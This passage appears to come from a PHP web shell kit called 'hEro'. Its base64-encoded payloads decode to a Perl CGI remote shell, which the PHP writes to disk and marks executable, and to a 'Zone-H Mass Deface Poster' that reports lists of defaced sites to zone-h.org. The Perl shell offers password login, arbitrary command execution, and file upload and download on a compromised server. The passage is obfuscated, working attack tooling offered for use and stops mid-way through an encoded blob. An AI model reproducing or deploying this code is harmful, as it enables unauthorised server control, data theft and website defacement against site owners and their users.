cHV0Rm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
DQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsg
d2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4g
VGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3Rh
cnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFs
aWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJs
KSA9IEBfOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBl
bmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkk
RmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSRE
b3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdv
IjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09O
VEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIp
Ow0KCQlwcmludCA8PEVORDsNCjxjb2RlPg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48
YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhy
ZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KPC9jb2RlPg0KRU5EDQoJCSZQcmlu
dENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMg
ZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50
ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7DQoJCSZQcmlu
dEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxl
IGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0
IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFs
aWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsN
CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5n
DQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9k
ZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQko
JEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250
ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVu
Z3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2ht
ZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xv
c2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlBy
aW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRT
ZW5kRmlsZTogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50
UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1
bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3Bs
YXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2gg
d2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxz
byBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2Us
DQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmll
ZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFu
c2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9
fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFu
c2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJn
ZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkk
VGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25z
IGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jy
b3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhl
IGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJ
fQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVk
IHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMg
bm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNw
ZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4N
CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxl
IGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVy
RmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVw
bG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFn
ZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAi
PGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0K
CSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNy
ZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikg
PX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJn
ZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsn
ZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9z
ZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92
ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkg
ZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYo
b3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FE
RklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJ
CQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6
ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJ
CX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXBy
aW50ICI8L2NvZGU+IjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkmUHJpbnRQYWdl
Rm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMg
Y2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMg
ZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRo
ZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNz
YWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhl
IGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93
bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25s
b2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFn
ZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9v
dGVyOw0KCQlyZXR1cm47DQoJfQ0KCQ0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRo
ZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4g
bS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkg
IyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJ
fQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigk
VGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAu
PSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMg
d2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdl
dEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0K
CXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVy
ZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQok
U2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5W
eydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5k
ID0gJGlueydjJ307DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsn
byd9Ow0KDQokQWN0aW9uID0gJGlueydhJ307DQokQWN0aW9uID0gImxvZ2luIiBpZigkQWN0aW9u
IGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUg
ZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVu
dERpciA9ICRpbnsnZCd9Ow0KY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJl
bnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFz
c3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVl
ZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEg
ImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29t
bWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxv
YWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9h
ZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0K
fQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0K
CSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
$file = fopen("hEro.pr" ,"w+");
$write = fwrite ($file ,base64_decode($cgico));
fclose($file);
chmod("hEro.pr",0755);
hErohead();
echo '<iframe src="hEro/hEro.pr" style="height:500px; width:1000px; border:0px;" name="config">';
}
function hErozone()
{
hErohead();
$zone1 = 'PD9waHANCmZ1bmN0aW9uIFpvbmVIKCR1cmwsICRoYWNrZXIsICRoYWNrbW9kZSwkcmVzb24sICRz
aXRlICkNCnsNCgkkayA9IGN1cmxfaW5pdCgpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1VS
TCwgJHVybCk7DQoJY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9QT1NULHRydWUpOw0KCWN1cmxfc2V0
b3B0KCRrLCBDVVJMT1BUX1BPU1RGSUVMRFMsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0i
LiAkc2l0ZS4iJmhhY2ttb2RlPSIuJGhhY2ttb2RlLiImcmVhc29uPSIuJHJlc29uKTsNCgljdXJs
X3NldG9wdCgkayxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsNCgljdXJsX3NldG9wdCgk
aywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJJGt1YnJhID0gY3VybF9leGVjKCRr
KTsNCgljdXJsX2Nsb3NlKCRrKTsNCglyZXR1cm4gJGt1YnJhOw0KfQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJIyAgIFpvbmUgSCBBdHRh
Y2tlcg0KCQkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJIGlmKCRfUE9TVFsnU2Vu
ZE5vd1RvWm9uZUgnXSkNCgkJCXsNCgkJCSRjb25uZWN0X3RpbWVvdXQ9NTsNCgkJCQlzZXRfdGlt
ZV9saW1pdCgwKTsNCgkJCW9iX3N0YXJ0KCk7DQoJCQkJJHN1YiA9IEBnZXRfbG9hZGVkX2V4dGVu
c2lvbnMoKTsNCgkJCQlpZighaW5fYXJyYXkoImN1cmwiLCAkc3ViKSkNCgkJCQl7DQoJCQkJCWRp
ZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTsNCgkJCQl9DQoJCQkJJGhhY2tlciA9
ICRfUE9TVFsnZGVmYWNlciddOw0KCQkJCSRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoJ
CQkJJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsNCgkJCQkkc2l0ZSA9ICRfUE9TVFsnZG9tYWlu
J107DQoJCQkJDQoJCQkJaWYgKGVtcHR5KCRoYWNrZXIpKQ0KCQkJCXsNCgkJCQkJZGllICgiWy1d
IFlvdSBNdXN0IEZpbGwgdGhlIEF0dGFja2VyIG5hbWUgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYo
JG1ldGhvZCA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIA0KCQkJCXsNCgkJCQkJZGllKCJb
LV0gWW91IE11c3QgU2VsZWN0IFRoZSBNZXRob2QgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYoJG5l
ZGVuID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikgDQoJCQkJew0KCQkJCQlkaWUoIlstXSBZ
b3UgTXVzdCBTZWxlY3QgVGhlIFJlYXNvbiIpOw0KCQkJCX0NCgkJCQllbHNlaWYoZW1wdHkoJHNp
dGUpKSANCgkJCQl7DQoJCQkJCWRpZSgiWy1dIFlvdSBNdXN0IEludGVyIHRoZSBTaXRlcyBMaXN0
ICEgIik7DQoJCQkJfQ0KCQkJCSRpID0gMDsNCgkJCQkkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRz
aXRlKTsNCgkJCQl3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIA0KCQkJCXsNCgkJCQkJaWYoc3Vi
c3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgDQoJCQkJCXsNCgkJCQkJCSRzaXRlc1sk
aV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsNCgkJCQkJfQ0KCQkJCQlab25lSCgiaHR0cDovL3pv
bmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNrZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVz
WyRpXSk7DQoJCQkJCWVjaG8gIlNpdGUgOiAiLiRzaXRlc1skaV0uIiBEZWZhY2VkICFcbiI7DQoJ
CQkJCSsrJGk7DQoJCQkJfQ0KCQkJCWVjaG8gIlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBI
YXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhICI7DQoJCQl9DQo/Pg0KPCFET0NUWVBF
IGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0
dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0K
DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxzdHlsZT4N
Cg0KYm9keXttYXJnaW46MHB4O2ZvbnQtc3R5bGU6bm9ybWFsO2ZvbnQtc2l6ZToxMHB4O2NvbG9y
OiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtiYWNrZ3JvdW5kLWNvbG9yOiMzYTNh
M2E7c2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xv
cjogIzVkNWQ1ZDtzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyO3Njcm9sbGJhci0zZGxp
Z2h0LWNvbG9yOiAjM2EzYTNhO3Njcm9sbGJhci1hcnJvdy1jb2xvcjogIzlkOWQ5ZDtzY3JvbGxi
YXItdHJhY2stY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMzYTNh
M2E7fQ0KDQppbnB1dCwNCg0KLmticnRtLHNlbGVjdHtiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6
I0ZGRkZGRjtmb24gdC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtmb250LXNpemU6MTBweDt2ZXJ0aWNh
bC1hbGlnbjptaWRkbGU7IGhlaWdodDoxODsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7
IGJvcmRlci1yaWdodDoxcHggc29saWQgIzEyMTIxMjsgYm9yZGVyLWJvdHRvbToxcHggc29saWQg
IzEyMTIxMjsgYm9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDt9DQoNCmJ1dHRvbntiYWNrZ3Jv
dW5kLWNvbG9yOiAjNjY2NjY2OyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQt
ZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O30NCg0KYm9keSx0ZCx0aCB7
IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31i
b2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9DQoNCnRleHRhcmVhLG9wdGlvbntiYWNr
Z3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmIG9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtm
b250LXNpemU6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IGJvcmRlci1sZWZ0OjFweCBzb2xp
ZCAjMTIxMjEyOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci1ib3R0b206
MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci10b3A6MXB4IHNvbGlkICMxMjEyMTI7fQ0KDQo8L3N0
eWxlPg0KDQoNCjx0aXRsZT5ab25lLUggTWFzcyBEZWZhY2UgUG9zdGVyPC90aXRsZT4NCg0KPHN0
eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KLnN0eWxlMSB7DQoNCnRleHQtYWxpZ246IGNlbnRlcjsN
Cg0KfQ0KDQouc3R5bGUyIHsNCg0KZm9udC13ZWlnaHQ6IGJvbGQ7DQoNCn0NCg0KLnN0eWxlMyB7
DQoNCmZvbnQtc2l6ZTogbGFyZ2U7DQoNCmNvbG9yOiAjRkYwMDAwOw0KDQp9DQoNCmRpdiNvcHRp
b24gew0KDQpiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmb250LWZhbWlseTpWZXJk
YW5hLEFyaWFsO2ZvbnQtc2l6ZToxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsgYm9yZGVyLWxl
ZnQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1yaWdodDoxcHggc29saWQgIzVkNWQ1ZDsgYm9y
ZGVyLWJvdHRvbToxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLXRvcDoxcHggc29saWQgIzEyMTIx
MjsNCg0KDQoNCn0NCg0KPC9zdHlsZT4NCg0KPC9oZWFkPg0KDQo8P3BocA0KIA0KZWNobyAnPGNl
bnRlcj4NCg0KDQo8Y2VudGVyPjxmb250IHNpemU9IjQiIGNvbG9yPSIjRkYwMDAwIj5ab25lLWgg
UG9zdGVyPC9mb250PjwvY2VudGVyPg0KCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4N
CgkJPHRhYmxlIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSI1IiBib3JkZXI9IjAiPg0KCQk8
dHI+DQoNCjx0ZD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHZhbHVlPSJB
dHRhY2tlciIgY2xhc3M9ImJveCIgLz48L3RkPjwvdHI+DQoJCTx0cj48dGQ+DQoJCTxzZWxlY3Qg
bmFtZT0iaGFja21vZGUiIGNsYXNzPSJib3giPg0KCQkJPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1Qt
LS0tLS0tLTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMSI+a25vd24gdnVsbmVyYWJpbGl0
eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMiIg
PnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFs
dWU9IjMiID5jb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2U8L29wdGlvbj4NCgkJCTxvcHRp
b24gdmFsdWU9IjQiID5icnV0ZSBmb3JjZSBhdHRhY2s8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFs
dWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjYi
